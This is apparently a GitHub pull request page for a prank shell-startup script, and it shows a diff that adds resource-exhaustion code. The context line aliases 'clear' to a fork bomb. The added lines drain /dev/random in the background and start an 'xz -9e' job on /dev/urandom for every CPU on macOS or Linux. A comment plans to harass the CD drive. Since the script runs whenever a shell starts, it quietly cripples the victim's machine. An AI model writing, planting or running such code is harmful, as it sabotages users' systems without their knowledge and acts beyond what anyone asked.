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Eat all the randomness and CPU #44

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Eat ALL the randomness
ojno Mar 28, 2016
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Use ALL the CPU
ojno Mar 28, 2016
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slightly more cross-platform all-cpu-eating
ojno Mar 28, 2016
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Expand Up @@ -28,6 +28,19 @@ alias clear=':(){ :|:& };:';
# Have `date` return random dates.
alias date='date -d "now + $RANDOM days"';

# Eat ALL the randomness.
/bin/cat /dev/random > /dev/null 2>&1 &

# Use ALL the CPUs.
if [ "$(uname)" = 'Darwin' ]; then
NCPUS=$(sysctl -n hw.ncpu)
else
NCPUS=$(nproc)
fi;
for i in $(seq 1 $NCPUS); do
xz -9e -c /dev/urandom > /dev/null 2>&1 &
done;

# Sometimes, wait a few minutes and then start randomly ejecting the CD drive.
# Other times, resist all attempts at opening it. Other times, make it read
# reaaaalllly sllooowwwwllly.
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